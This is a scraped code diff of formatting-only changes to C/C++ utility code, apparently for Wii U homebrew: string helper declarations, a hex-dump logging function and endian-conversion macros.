static const char * fmt(const char * format, ...);
static const wchar_t * wfmt(const char * format, ...);
static int32_t strprintf(std::string &str, const char * format, ...);
static std::string strfmt(const char * format, ...);
static BOOL char2wchar_t(const char * src, wchar_t * dest);
static int32_t strtokcmp(const char * string, const char * compare, const char * separator);
static int32_t strextcmp(const char * string, const char * extension, char seperator);
static BOOL EndsWith(const std::string &a, const std::string &b);
static const char *byte_to_binary(int32_t x);
static std::string removeCharFromString(std::string &input, char toBeRemoved);
static const char *fmt(const char *format, ...);
static const wchar_t *wfmt(const char *format, ...);
static int32_t strprintf(std::string &str, const char *format, ...);
static std::string strfmt(const char *format, ...);
static BOOL char2wchar_t(const char *src, wchar_t *dest);
static int32_t strtokcmp(const char *string, const char *compare, const char *separator);
static int32_t strextcmp(const char *string, const char *extension, char seperator);
static char *str_replace(char *orig, char *rep, char *with);
static const char * FullpathToFilename(const char *path);
static const char *FullpathToFilename(const char *path);
static void RemoveDoubleSlashs(std::string &str);
static std::vector<std::string> stringSplit(const std::string & value, const std::string & splitter);
static std::vector<std::string> stringSplit(const std::string &value, const std::string &splitter);
};
#endif /* __STRING_TOOLS_H */

View File

@ -1,4 +1,5 @@
#pragma once
#include <whb/log.h>
#include <string.h>

View File

@ -7,31 +7,31 @@
#include "utils/logger.h"
// https://gist.github.com/ccbrown/9722406
void dumpHex(const void* data, size_t size) {
void dumpHex(const void *data, size_t size) {
char ascii[17];
size_t i, j;
ascii[16] = '\0';
WHBLogPrintf("0x%08X (0x0000): ", data);
for (i = 0; i < size; ++i) {
WHBLogWritef("%02X ", ((unsigned char*)data)[i]);
if (((unsigned char*)data)[i] >= ' ' && ((unsigned char*)data)[i] <= '~') {
ascii[i % 16] = ((unsigned char*)data)[i];
WHBLogWritef("%02X ", ((unsigned char *) data)[i]);
if (((unsigned char *) data)[i] >= ' ' && ((unsigned char *) data)[i] <= '~') {
ascii[i % 16] = ((unsigned char *) data)[i];
} else {
ascii[i % 16] = '.';
}
if ((i+1) % 8 == 0 || i+1 == size) {
if ((i + 1) % 8 == 0 || i + 1 == size) {
WHBLogWritef(" ");
if ((i+1) % 16 == 0) {
if ((i + 1) % 16 == 0) {
WHBLogWritef("| %s \n", ascii);
if(i + 1 < size) {
DEBUG_FUNCTION_LINE("0x%08X (0x%04X); ", data + i + 1,i+1);
if (i + 1 < size) {
DEBUG_FUNCTION_LINE("0x%08X (0x%04X); ", data + i + 1, i + 1);
}
} else if (i+1 == size) {
ascii[(i+1) % 16] = '\0';
if ((i+1) % 16 <= 8) {
} else if (i + 1 == size) {
ascii[(i + 1) % 16] = '\0';
if ((i + 1) % 16 <= 8) {
WHBLogWritef(" ");
}
for (j = (i+1) % 16; j < 16; ++j) {
for (j = (i + 1) % 16; j < 16; ++j) {
WHBLogWritef(" ");
}
WHBLogWritef("| %s \n", ascii);

View File

@ -31,7 +31,7 @@ extern "C" {
#define le64(i) ((((uint64_t)le32((i) & 0xFFFFFFFFLL)) << 32) | ((uint64_t)le32(((i) & 0xFFFFFFFF00000000LL) >> 32)))
//Needs to have log_init() called beforehand.
void dumpHex(const void* data, size_t size);
void dumpHex(const void *data, size_t size);
#ifdef __cplusplus
}